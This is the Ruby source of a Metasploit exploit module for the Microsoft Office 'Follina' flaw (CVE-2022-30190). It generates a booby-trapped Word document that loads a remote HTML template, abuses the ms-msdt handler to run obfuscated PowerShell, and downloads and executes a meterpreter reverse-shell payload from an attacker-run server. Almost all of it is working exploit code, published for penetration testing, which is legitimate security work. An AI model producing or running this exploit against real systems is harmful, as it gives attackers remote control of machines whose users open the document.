## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Office Word MSDTJS', 'Description' => %q{ This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code. }, 'References' => [ ['CVE', '2022-30190'], ['URL', 'https://www.reddit.com/r/blueteamsec/comments/v06w2o/suspected_microsoft_word_zero_day_in_the_wild/'], ['URL', 'https://twitter.com/nao_sec/status/1530196847679401984?t=3Pjrpdog_H6OfMHVLMR5eQ&s=19'], ['URL', 'https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/'], ['URL', 'https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e'], ['URL', 'https://twitter.com/GossiTheDog/status/1531608245009367040'], ['URL', 'https://github.com/JMousqueton/PoC-CVE-2022-30190'] ], 'Author' => [ 'nao sec', # Original disclosure. 'mekhalleh (RAMELLA Sébastien)' # Zeop CyberSecurity ], 'DisclosureDate' => '2022-05-29', 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'DisablePayloadHandler' => false, 'FILENAME' => 'msf.docx', 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', 'SRVHOST' => Rex::Socket.source_address('1.2.3.4') }, 'Targets' => [ [ 'Microsoft Office Word', {} ] ], 'DefaultTarget' => 0, 'Notes' => { 'AKA' => ['Follina'], 'Stability' => [CRASH_SAFE], 'Reliability' => [UNRELIABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptPath.new('CUSTOMTEMPLATE', [false, 'A DOCX file that will be used as a template to build the exploit.']), OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true]) ]) end def get_file_in_docx(fname) i = @docx.find_index { |item| item[:fname] == fname } unless i fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}") end @docx.fetch(i)[:data] end def get_template_path datastore['CUSTOMTEMPLATE'] || File.join(Msf::Config.data_directory, 'exploits', 'word_msdtjs.docx') end def generate_html uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.ps1" dummy = '' (1..random_int(61, 100)).each do |_n| dummy += '//' + rand_text_alpha(100) + "\n" end cmd = Rex::Text.encode_base64("IEX(New-Object Net.WebClient).downloadString('#{uri}')") js_content = "window.location.href = \"ms-msdt:/id PCWDiagnostic /skip force /param \\\"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'#{cmd}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\\\"\";" if datastore['OBFUSCATE'] print_status('Obfuscate JavaScript content') js_content = Rex::Exploitation::JSObfu.new js_content js_content = js_content.obfuscate(memory_sensitive: false) end html = '' html end def inject_docx document_xml = get_file_in_docx('word/document.xml') unless document_xml fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml') end document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels') unless document_xml_rels fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels') end uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html" @docx.each do |entry| case entry[:fname] when 'word/_rels/document.xml.rels' entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "#{uri}!") end end end def normalize_uri(*strs) new_str = strs * '/' new_str = new_str.gsub!('//', '/') while new_str.index('//') # makes sure there's a starting slash unless new_str.start_with?('/') new_str = '/' + new_str end new_str end def on_request_uri(cli, request) header_html = { 'Access-Control-Allow-Origin' => '*', 'Access-Control-Allow-Methods' => 'GET, POST', 'Cache-Control' => 'no-store, no-cache, must-revalidate', 'Content-Type' => 'text/html; charset=UTF-8' } if request.method.eql? 'HEAD' send_response(cli, '', header_html) elsif request.method.eql? 'OPTIONS' response = create_response(501, 'Unsupported Method') response['Content-Type'] = 'text/html' response.body = '' cli.send_response(response) elsif request.raw_uri.to_s.end_with? '.html' print_status('Sending HTML Payload') send_response_html(cli, generate_html, header_html) elsif request.raw_uri.to_s.end_with? '.ps1' print_status('Sending PowerShell Payload') send_response(cli, @payload_data, header_html) end end def pack_docx @docx.each do |entry| if entry[:data].is_a?(Nokogiri::XML::Document) entry[:data] = entry[:data].to_s end end Msf::Util::EXE.to_zip(@docx) end def primer print_status('Generating a malicious docx file') @proto = (datastore['SSL'] ? 'https' : 'http') template_path = get_template_path unless File.extname(template_path).downcase.end_with?('.docx') fail_with(Failure::BadConfig, 'Template is not a docx file!') end print_status("Using template '#{template_path}'") @docx = unpack_docx(template_path) print_status('Injecting payload in docx document') inject_docx print_status("Finalizing docx '#{datastore['FILENAME']}'") file_create(pack_docx) @payload_data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true) super end def random_int(min, max) rand(max - min) + min end def unpack_docx(template_path) document = [] Zip::File.open(template_path) do |entries| entries.each do |entry| if entry.name.downcase.end_with?('.xml', '.rels') content = Nokogiri::XML(entry.get_input_stream.read) if entry.file? elsif entry.file? content = entry.get_input_stream.read end vprint_status("Parsing item from template: #{entry.name}") document << { fname: entry.name, data: content } end end document end end